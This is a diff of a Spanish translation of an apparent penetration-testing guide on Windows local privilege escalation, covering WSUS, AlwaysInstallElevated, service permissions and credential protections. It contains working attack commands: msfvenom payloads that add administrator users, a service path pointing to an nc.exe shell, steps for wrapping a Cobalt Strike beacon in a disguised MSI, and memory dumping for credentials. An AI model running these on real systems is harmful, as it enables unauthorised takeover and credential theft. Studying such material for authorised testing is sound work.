actividad en el momento de la ejecución, se proporcionan información detallada sobre el proceso. +Se captura un registro completo de la actividad y del contenido íntegro de la ejecución del script, garantizando que cada bloque de código quede documentado mientras se ejecuta. Este proceso preserva una pista de auditoría exhaustiva de cada actividad, valiosa para forensics y para el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se obtienen conocimientos detallados sobre el proceso. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Los eventos de registro para el Script Block se pueden encontrar en el Visor de Eventos de Windows en la ruta: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Para ver los últimos 20 eventos, puedes usar: +Los eventos de registro para el Script Block se pueden encontrar en el Visor de eventos de Windows en la ruta: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Para ver los últimos 20 eventos puedes usar: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Puedes comprometer el sistema si las actualizaciones no se solicitan usando http**S** sino http. +Puedes comprometer el sistema si las actualizaciones no se solicitan usando http**S** pero http. -Comienzas verificando si la red utiliza una actualización WSUS no SSL ejecutando lo siguiente en cmd: +Empieza comprobando si la red usa un WSUS sin SSL ejecutando lo siguiente en cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ O lo siguiente en PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Si recibes una respuesta como una de estas: +Si recibes una respuesta como alguna de estas: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,9 +182,9 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` Y si `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` o `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` es igual a `1`. -Entonces, **es explotable.** Si el último registro es igual a 0, entonces, la entrada de WSUS será ignorada. +Entonces, **es explotable.** Si la última clave del registro es igual a 0, la entrada WSUS será ignorada. -Para explotar estas vulnerabilidades, puedes usar herramientas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Estos son scripts de exploits armados MiTM para inyectar actualizaciones 'falsas' en el tráfico WSUS no SSL. +Para explotar estas vulnerabilidades puedes usar herramientas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Son scripts de exploits MiTM armados para inyectar actualizaciones 'falsas' en el tráfico WSUS no-SSL. Lee la investigación aquí: @@ -194,54 +194,56 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Lee el informe completo aquí**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Básicamente, este es el defecto que explota este error: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +Básicamente, este es el fallo que explota este bug: -> Si tenemos el poder de modificar nuestro proxy de usuario local, y las actualizaciones de Windows utilizan el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo. +> Si tenemos la capacidad de modificar el proxy de nuestro usuario local, y Windows Updates usa el proxy configurado en los ajustes de Internet Explorer, entonces tenemos la capacidad de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro equipo. > -> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también usará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio. +> Además, puesto que el servicio WSUS usa la configuración del usuario actual, también usará su almacén de certificados. Si generamos un certificado autofirmado para el hostname de WSUS y añadimos ese certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico HTTP como HTTPS de WSUS. WSUS no utiliza mecanismos tipo HSTS para implementar una validación de tipo trust-on-first-use sobre el certificado. Si el certificado presentado es confiable para el usuario y tiene el hostname correcto, será aceptado por el servicio. -Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada). +Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez esté liberada). ## KrbRelayUp -Una vulnerabilidad de **escalación de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**. +Una vulnerabilidad de **local privilege escalation** existe en entornos **Windows domain** bajo condiciones específicas. Estas condiciones incluyen entornos donde **LDAP signing is not enforced,** los usuarios poseen derechos para configurarse a sí mismos permitiendo **Resource-Based Constrained Delegation (RBCD),** y la capacidad de los usuarios para crear equipos dentro del dominio. Es importante notar que estos **requirements** se cumplen con la configuración **default settings**. Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Para más información sobre el flujo del ataque, consulta [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +Para más información sobre el flujo del ataque revisa [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Si** estos 2 registros están **habilitados** (el valor es **0x1**), entonces los usuarios de cualquier privilegio pueden **instalar** (ejecutar) archivos `*.msi` como NT AUTHORITY\\**SYSTEM**. +**Si** estas 2 entradas del registro están **enabled** (valor **0x1**), entonces usuarios de cualquier privilegio pueden **install** (ejecutar) `*.msi` como NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` -### Cargas útiles de Metasploit +### Metasploit payloads ```bash msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Si tienes una sesión de meterpreter, puedes automatizar esta técnica utilizando el módulo **`exploit/windows/local/always_install_elevated`** +Si tienes una sesión meterpreter puedes automatizar esta técnica usando el módulo **`exploit/windows/local/always_install_elevated`** ### PowerUP -Usa el comando `Write-UserAddMSI` de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso a GIU): +Usa el comando `Write-UserAddMSI` de PowerUP para crear, dentro del directorio actual, un binario MSI de Windows para escalar privilegios. Este script escribe un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GUI): ``` Write-UserAddMSI ``` -Solo ejecuta el binario creado para escalar privilegios. +Simplemente ejecuta el binario creado para escalar privilegios. ### MSI Wrapper -Lee este tutorial para aprender cómo crear un envoltorio MSI usando estas herramientas. Ten en cuenta que puedes envolver un "**.bat**" si **solo** quieres **ejecutar** **líneas de comando**. +Lee este tutorial para aprender cómo crear un MSI wrapper usando estas herramientas. Ten en cuenta que puedes envolver un "**.bat**" file si **solo** quieres **ejecutar** **líneas de comando** + {{#ref}} msi-wrapper.md {{#endref}} -### Crear MSI con WIX +### Create MSI with WIX + {{#ref}} create-msi-with-wix.md @@ -249,22 +251,22 @@ create-msi-with-wix.md ### Crear MSI con Visual Studio -- **Genera** con Cobalt Strike o Metasploit un **nuevo payload TCP EXE de Windows** en `C:\privesc\beacon.exe` -- Abre **Visual Studio**, selecciona **Crear un nuevo proyecto** y escribe "installer" en el cuadro de búsqueda. Selecciona el proyecto **Setup Wizard** y haz clic en **Siguiente**. -- Dale un nombre al proyecto, como **AlwaysPrivesc**, usa **`C:\privesc`** para la ubicación, selecciona **colocar solución y proyecto en el mismo directorio**, y haz clic en **Crear**. -- Sigue haciendo clic en **Siguiente** hasta que llegues al paso 3 de 4 (elegir archivos para incluir). Haz clic en **Agregar** y selecciona el payload Beacon que acabas de generar. Luego haz clic en **Finalizar**. -- Resalta el proyecto **AlwaysPrivesc** en el **Explorador de Soluciones** y en las **Propiedades**, cambia **TargetPlatform** de **x86** a **x64**. -- Hay otras propiedades que puedes cambiar, como el **Autor** y el **Fabricante**, que pueden hacer que la aplicación instalada parezca más legítima. -- Haz clic derecho en el proyecto y selecciona **Ver > Acciones Personalizadas**. -- Haz clic derecho en **Instalar** y selecciona **Agregar Acción Personalizada**. -- Haz doble clic en **Carpeta de Aplicación**, selecciona tu archivo **beacon.exe** y haz clic en **Aceptar**. Esto asegurará que el payload beacon se ejecute tan pronto como se ejecute el instalador. -- En las **Propiedades de Acción Personalizada**, cambia **Run64Bit** a **True**. -- Finalmente, **compílalo**. -- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de haber configurado la plataforma a x64. +- **Genera** con Cobalt Strike o Metasploit un **nuevo Windows EXE TCP payload** en `C:\privesc\beacon.exe` +- Abre **Visual Studio**, selecciona **Create a new project** y escribe "installer" en el cuadro de búsqueda. Selecciona el proyecto **Setup Wizard** y haz clic **Next**. +- Dale al proyecto un nombre, como **AlwaysPrivesc**, usa **`C:\privesc`** para la ubicación, selecciona **place solution and project in the same directory**, y haz clic **Create**. +- Sigue haciendo clic en **Next** hasta llegar al paso 3 de 4 (elige archivos para incluir). Haz clic **Add** y selecciona el Beacon payload que acabas de generar. Luego haz clic **Finish**. +- Selecciona el proyecto **AlwaysPrivesc** en el **Solution Explorer** y en **Properties**, cambia **TargetPlatform** de **x86** a **x64**. +- Hay otras propiedades que puedes cambiar, como **Author** y **Manufacturer**, que pueden hacer que la app instalada parezca más legítima. +- Haz clic derecho en el proyecto y selecciona **View > Custom Actions**. +- Haz clic derecho en **Install** y selecciona **Add Custom Action**. +- Haz doble clic en **Application Folder**, selecciona tu archivo **beacon.exe** y haz clic **OK**. Esto asegurará que el Beacon payload se ejecute tan pronto como se ejecute el instalador. +- En **Custom Action Properties**, cambia **Run64Bit** a **True**. +- Finalmente, **constrúyelo**. +- Si se muestra la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de establecer la plataforma en x64. -### Instalación de MSI +### Instalación MSI -Para ejecutar la **instalación** del archivo malicioso `.msi` en **segundo plano:** +Para ejecutar la **instalación** del archivo `.msi` malicioso en **segundo plano:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` @@ -272,21 +274,22 @@ Para explotar esta vulnerabilidad puedes usar: _exploit/windows/local/always_ins ## Antivirus y Detectores -### Configuración de Auditoría +### Configuración de auditoría -Estas configuraciones deciden qué se está **registrando**, así que debes prestar atención. +Estos ajustes deciden qué se está **registrando**, por lo que debes prestar atención ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, es interesante saber a dónde se envían los registros. +Windows Event Forwarding, es interesante saber dónde se envían los logs ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** está diseñado para la **gestión de contraseñas de Administrador local**, asegurando que cada contraseña sea **única, aleatoria y actualizada regularmente** en computadoras unidas a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios que han recibido permisos suficientes a través de ACLs, permitiéndoles ver contraseñas de administrador local si están autorizados. +**LAPS** está diseñado para la **gestión de contraseñas del Administrador local**, garantizando que cada contraseña sea **única, aleatoria y actualizada regularmente** en equipos unidos a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios a quienes se les hayan concedido permisos suficientes mediante ACLs, permitiéndoles ver las contraseñas de administrador local si están autorizados. + {{#ref}} ../active-directory-methodology/laps.md @@ -294,28 +297,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Si está activo, **las contraseñas en texto plano se almacenan en LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local).\ -[**Más información sobre WDigest en esta página**](../stealing-credentials/credentials-protections.md#wdigest). +Si está activo, **las contraseñas en texto plano se almacenan en LSASS** (Local Security Authority Subsystem Service).\ +[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### Protección de LSA +### LSA Protection -A partir de **Windows 8.1**, Microsoft introdujo una protección mejorada para la Autoridad de Seguridad Local (LSA) para **bloquear** intentos de procesos no confiables de **leer su memoria** o inyectar código, asegurando aún más el sistema.\ -[**Más información sobre la Protección de LSA aquí**](../stealing-credentials/credentials-protections.md#lsa-protection). +A partir de **Windows 8.1**, Microsoft introdujo protección mejorada para la Autoridad de Seguridad Local (LSA) para **bloquear** intentos de procesos no confiables de **leer su memoria** o inyectar código, reforzando la seguridad del sistema.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** se introdujo en **Windows 10**. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como ataques de pass-the-hash.| [**Más información sobre Credentials Guard aquí.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** se introdujo en **Windows 10**. Su objetivo es proteger las credenciales almacenadas en un dispositivo contra amenazas como los ataques pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Credenciales en Caché +### Credenciales en caché -**Las credenciales de dominio** son autenticadas por la **Autoridad de Seguridad Local** (LSA) y utilizadas por los componentes del sistema operativo. Cuando los datos de inicio de sesión de un usuario son autenticados por un paquete de seguridad registrado, las credenciales de dominio para el usuario se establecen típicamente.\ -[**Más información sobre Credenciales en Caché aquí**](../stealing-credentials/credentials-protections.md#cached-credentials). +Las **credenciales de dominio** son autenticadas por la **Local Security Authority (LSA)** y utilizadas por los componentes del sistema operativo. Cuando los datos de inicio de sesión de un usuario son autenticados por un paquete de seguridad registrado, normalmente se establecen credenciales de dominio para ese usuario.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -323,7 +326,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Enumerar Usuarios y Grupos -Deberías verificar si alguno de los grupos a los que perteneces tiene permisos interesantes. +Debes comprobar si alguno de los grupos a los que perteneces tiene permisos interesantes ```bash # CMD net users %username% #Me @@ -340,7 +343,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Grupos privilegiados -Si **perteneces a algún grupo privilegiado, es posible que puedas escalar privilegios**. Aprende sobre grupos privilegiados y cómo abusar de ellos para escalar privilegios aquí: +Si **perteneces a algún grupo privilegiado, podrías ser capaz de escalar privilegios**. Aprende sobre grupos privilegiados y cómo abusar de ellos para escalar privilegios aquí: + {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md @@ -348,14 +352,15 @@ Si **perteneces a algún grupo privilegiado, es posible que puedas escalar privi ### Manipulación de tokens -**Aprende más** sobre qué es un **token** en esta página: [**Tokens de Windows**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +**Aprende más** sobre qué es un **token** en esta página: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ Consulta la siguiente página para **aprender sobre tokens interesantes** y cómo abusar de ellos: + {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Usuarios registrados / Sesiones +### Usuarios conectados / Sesiones ```bash qwinsta klist sessions @@ -373,12 +378,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Ejecutando Procesos +## Procesos en ejecución -### Permisos de Archivos y Carpetas +### Permisos de archivos y carpetas -Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comando del proceso**.\ -Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/index.html): +Primero que nada, al listar los procesos, **comprueba si hay contraseñas dentro de la línea de comandos del proceso**.\ +Comprueba si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -389,9 +394,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Siempre verifica si hay posibles [**depuradores de electron/cef/chromium** en ejecución, podrías abusar de ellos para escalar privilegios](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Siempre comprueba si hay [**electron/cef/chromium debuggers** en ejecución, podrías abusar de ellos para escalar privilegios](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Verificando los permisos de los binarios de los procesos** +**Comprobando los permisos de los binarios de los procesos** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -400,7 +405,7 @@ icacls "%%z" ) ) ``` -**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Comprobando permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -408,21 +413,21 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### Minería de contraseñas en memoria +### Minería de Password en memoria -Puedes crear un volcado de memoria de un proceso en ejecución utilizando **procdump** de sysinternals. Servicios como FTP tienen las **credenciales en texto claro en memoria**, intenta volcar la memoria y leer las credenciales. +Puedes crear un volcado de memoria de un proceso en ejecución usando **procdump** de sysinternals. Servicios como FTP tienen las **credentials en texto claro en memoria**, intenta volcar la memoria y leer las credentials. ```bash procdump.exe -accepteula -ma ``` ### Aplicaciones GUI inseguras -**Las aplicaciones que se ejecutan como SYSTEM pueden permitir a un usuario abrir un CMD o navegar por directorios.** +**Las aplicaciones que se ejecutan como SYSTEM pueden permitir a un usuario abrir un CMD o explorar directorios.** -Ejemplo: "Ayuda y soporte de Windows" (Windows + F1), buscar "símbolo del sistema", hacer clic en "Haga clic para abrir el símbolo del sistema" +Ejemplo: "Windows Help and Support" (Windows + F1), busca "símbolo del sistema", haz clic en "Haga clic para abrir el Símbolo del sistema" ## Servicios -Obtenga una lista de servicios: +Obtener una lista de servicios: ```bash net start wmic service list brief @@ -435,11 +440,11 @@ Puedes usar **sc** para obtener información de un servicio ```bash sc qc ``` -Se recomienda tener el binario **accesschk** de _Sysinternals_ para verificar el nivel de privilegio requerido para cada servicio. +Se recomienda tener el binary **accesschk** de _Sysinternals_ para comprobar el nivel de privilegio requerido para cada servicio. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Se recomienda verificar si "Usuarios autenticados" pueden modificar algún servicio: +Se recomienda comprobar si "Authenticated Users" pueden modificar algún servicio: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -450,17 +455,17 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### Habilitar servicio -Si tienes este error (por ejemplo con SSDPSRV): +Si estás teniendo este error (por ejemplo con SSDPSRV): -_Error del sistema 1058 ha ocurrido._\ -_El servicio no puede ser iniciado, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._ +_Se ha producido el error del sistema 1058._\ +_El servicio no puede iniciarse, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados a él._ Puedes habilitarlo usando ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)** +**Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (en XP SP1)** **Otra solución alternativa** a este problema es ejecutar: ``` @@ -468,7 +473,7 @@ sc.exe config usosvc start= auto ``` ### **Modificar la ruta del binario del servicio** -En el escenario donde el grupo de "Usuarios autenticados" posee **SERVICE_ALL_ACCESS** sobre un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar **sc**: +En el escenario donde el grupo "Authenticated users" posee **SERVICE_ALL_ACCESS** sobre un servicio, es posible modificar el binario ejecutable del servicio. Para modificarlo y ejecutar **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -481,35 +486,35 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Los privilegios se pueden escalar a través de varios permisos: +Los privilegios pueden escalarse mediante varios permisos: -- **SERVICE_CHANGE_CONFIG**: Permite la reconfiguración del binario del servicio. -- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones del servicio. -- **WRITE_OWNER**: Permite la adquisición de propiedad y la reconfiguración de permisos. -- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones del servicio. -- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones del servicio. +- **SERVICE_CHANGE_CONFIG**: Permite reconfigurar el binario del servicio. +- **WRITE_DAC**: Permite la reconfiguración de permisos, lo que puede llevar a la capacidad de cambiar las configuraciones del servicio. +- **WRITE_OWNER**: Permite adquirir la propiedad y reconfigurar permisos. +- **GENERIC_WRITE**: Hereda la capacidad de cambiar las configuraciones del servicio. +- **GENERIC_ALL**: También hereda la capacidad de cambiar las configuraciones del servicio. Para la detección y explotación de esta vulnerabilidad, se puede utilizar el _exploit/windows/local/service_permissions_. -### Permisos débiles de los binarios de servicios +### Permisos débiles en los binarios de servicios -**Verifica si puedes modificar el binario que es ejecutado por un servicio** o si tienes **permisos de escritura en la carpeta** donde se encuentra el binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Puedes obtener cada binario que es ejecutado por un servicio usando **wmic** (no en system32) y verificar tus permisos usando **icacls**: +**Comprueba si puedes modificar el binario que es ejecutado por un servicio** o si tienes **permisos de escritura en la carpeta** donde se encuentra el binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Puedes obtener todos los binarios que ejecuta un servicio usando **wmic** (not in system32) y comprobar tus permisos usando **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -También puedes usar **sc** e **icacls**: +También puedes usar **sc** y **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Modificar permisos del registro de servicios +### Permisos para modificar el registro de servicios -Deberías verificar si puedes modificar algún registro de servicio.\ -Puedes **verificar** tus **permisos** sobre un **registro** de servicio haciendo: +Deberías comprobar si puedes modificar algún registro de servicio.\ +Puedes **comprobar** tus **permisos** sobre un **registro** de servicio haciendo: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -518,31 +523,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Se debe verificar si **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** poseen permisos de `FullControl`. Si es así, el binario ejecutado por el servicio puede ser alterado. +Se debe comprobar si **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** poseen permisos `FullControl`. Si es así, el binario ejecutado por el servicio puede ser alterado. Para cambiar la ruta del binario ejecutado: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Permisos AppendData/AddSubdirectory del registro de servicios +### Permisos AppendData/AddSubdirectory en el registro de servicios + +Si tienes este permiso sobre un registro, esto significa que **puedes crear subclaves a partir de este**. En el caso de los servicios de Windows esto es **suficiente para ejecutar código arbitrario:** -Si tienes este permiso sobre un registro, esto significa que **puedes crear subregistros a partir de este**. En el caso de los servicios de Windows, esto es **suficiente para ejecutar código arbitrario:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Rutas de servicio no entrecomilladas +### Unquoted Service Paths -Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada final antes de un espacio. +Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada porción que termine antes de un espacio. -Por ejemplo, para la ruta _C:\Program Files\Some Folder\Service.exe_, Windows intentará ejecutar: +Por ejemplo, para la ruta _C:\Program Files\Some Folder\Service.exe_ Windows intentará ejecutar: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Enumere todas las rutas de servicio no citadas, excluyendo las que pertenecen a los servicios integrados de Windows: +Lista todas las rutas de servicio sin comillas, excluyendo las que pertenezcan a los servicios integrados de Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -566,15 +572,15 @@ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Whe ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### Acciones de Recuperación +### Acciones de recuperación -Windows permite a los usuarios especificar acciones a tomar si un servicio falla. Esta función se puede configurar para apuntar a un binario. Si este binario es reemplazable, podría ser posible la escalada de privilegios. Más detalles se pueden encontrar en la [documentación oficial](). +Windows permite a los usuarios especificar acciones a tomar si un servicio falla. Esta característica se puede configurar para apuntar a un binario. Si este binario es reemplazable, privilege escalation podría ser posible. Más detalles se pueden encontrar en la [documentación oficial](). ## Aplicaciones -### Aplicaciones Instaladas +### Aplicaciones instaladas -Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/index.html)). +Comprueba los **permisos de los binarios** (quizá puedas sobrescribir uno y escalate privileges) y de las **carpetas** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -583,11 +589,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Permisos de Escritura +### Permisos de escritura -Verifica si puedes modificar algún archivo de configuración para leer algún archivo especial o si puedes modificar algún binario que va a ser ejecutado por una cuenta de Administrador (schedtasks). +Comprueba si puedes modificar algún archivo de configuración para leer algún archivo especial o si puedes modificar algún binario que vaya a ser ejecutado por una cuenta de Administrador (schedtasks). -Una forma de encontrar permisos débiles en carpetas/archivos en el sistema es haciendo: +Una forma de 